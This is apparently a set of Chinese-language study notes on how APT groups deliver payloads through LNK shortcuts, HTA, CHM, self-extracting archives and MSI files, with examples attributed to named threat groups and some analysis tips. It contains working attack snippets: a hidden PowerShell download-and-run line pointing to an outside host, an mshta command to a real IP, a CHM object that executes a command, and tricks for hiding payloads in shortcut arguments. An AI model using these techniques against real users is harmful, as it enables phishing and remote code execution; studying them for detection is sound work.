投递技术
APT 组织主要以邮件作为投递载体,邮件的标题、正文和附件都可能携带恶意代码。主要的方式是附件是漏洞文档、附件是二进制可执行程序和正文中包含指向恶意网站的超链接这三种。
APT攻击的载荷类型:
文档类:主要是office文档、pdf文档
脚本类:js脚本、vbs脚本、powershell脚本等
可执行文件:一般为经过RLO处理过的可执行文件、自解压包
lnk:带漏洞的(如震网漏洞)和执行powershell、cmd等命令的快捷方式
网页类:html、hta等
LNK样本载荷
lnk是windows下的快捷方式文件。
.LNK文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装的后缀名以欺骗目标的特点而被广泛使用。
LNK文件如何诱导受害者打开:icon可更改为系统图标,隐藏.lnk后缀伪装成pdf等文件,
LNK文件如何投递样本:
1.伪装图标
新建一个lnk文件,更改图标,选择一个系统图标,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll
更改完后
使用010 Editor解析lnk文件:
可以看到在lnk文件中的变化主要体现在:
ShellLinkHeader的LinkFlags结构体中的HasIconLocation标志位置为1;
IconIndex为使用的icon在目标中的下标;
最后是紧接在COMMAND_LINE_ARGUMENTS后的ICON_LOCATION字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll。
2.pdf利用:
生成HTA文件后门,在HTA文件执行Payload前添加如下语句
Dim open_pdf
Set open_pdf = CreateObject(“Wscript.Shell”)
open_pdf.run “powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile(‘http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf’,$env:temp+‘\纯洁的pdf.pdf’);Start-Process $env:temp’\纯洁的pdf.pdf’”, 0, true
快捷方式的目标:%windir%\System32\mshta.exe hta下载地址
将lnk 文件用copy /b 与真实的pdf文档捆绑增加真实性。
3.突破Lnk文件目标字符长度限制
在属性页中最多可见 255 个字符,但实际命令行执行的参数最长可达 4096 个字符。攻击者利用这一差异,使长参数在属性中不可见。
COMMAND_LINE_ARGUMENTS字段的长度可以支持到0xffff,修改CountCharacters大小,选中下一个结构,shift+ctrl+i 插入空白空间在string后。重新在COMMAND_LINE_ARGUMENTS中写入payload,也可以在COMMAND_LINE_ARGUMENTS字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。
4.⽤powershell、mshta 、cmd、msiexec等⽅式上线
SideCopy/SideWinder:其惯用的手法是在钓鱼邮件中附加包含LNK文件的RAR压缩包,待目标用户解压附件后引导其执行伪装成PDF或其他Office文档的LNK文件以下载后续。其中LNK文件的利用方式为:通过mshta.exe执行后续HTA文件。
Gamaredon:其中LNK文件的利用方式为,通过msiexec.exe执行后续MSI文件。
伪猎者:通过cmd.exeecho|set拼接出指令“mshtahxxp://82.221.129.104/k0201.txt”执行并获取后续。
==Lazarus ==:zip+lnk,lnk通过msiexec下载msi
RDPWrap:powershell 执行hta,powershell指令存在混淆。
海莲花:lnk参数执行hta文件,hta文件执行dropper程序&诱饵文档,Shellcode加载执行最终Cobalt_Strike RAT程序
HTA文件
HTA:HTML Application 双击能运行。
HTA⽂件可以解析javascript和VB,通过mshta执行hta.
chm
1.CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。被IE浏览器支持的Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持。
2.利用CHM钓鱼主要原因是因为该文档可以执行cmd命令,支持脚本语言
3.先将下列代码复制到根文件夹中的index.html中。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'>//执行命令<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
Easy CHM制作CHM文档。
4.bitter: chm执行恶意脚本创建计划任务,从服务器下载msi文件。
5…chm文件的默认程序hh.exe具有decompile的功能,可以将打包进chm的文件释放出来
HH.EXE -decompile dst src
因此可以将后门程序一起打包进chm文件中,运行时调用hh.exe释放chm中的后门程序再执行。
参考链接:
https://www.freebuf.com/articles/web/286340.html
自解压包+sfx
自解压指的是在没有压缩软件的主机上也可以进行解压的技术,生成的是exe文件。并且可以设置在解压(前/后)的时候执行某一段程序,这段程序被称为sfx程序
查看属性和解压查看内容。一般是exe/chm等+诱饵文档。
例如:
医疗保险报销单-样表和空白表.xls.zip f69fa2d07e1ad0625af8a5ec44db327d SFX
MSI
MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。
Orca:显示msi各种信息的工具。msiexec或lessmsi提取。7z解压看结构在判断是否存在病毒主体。
msi结构中:ExecuteScriptCode 可以看到恶意代码,除了VBScript 还可以包含JScript。
蔓灵花:msi中存在恶意脚本,也是解包分析
宏
参考链接:
lnk:
https://zhuanlan.zhihu.com/p/111367963
https://m.freebuf.com/news/342632.html
https://m.freebuf.com/articles/network/338683.html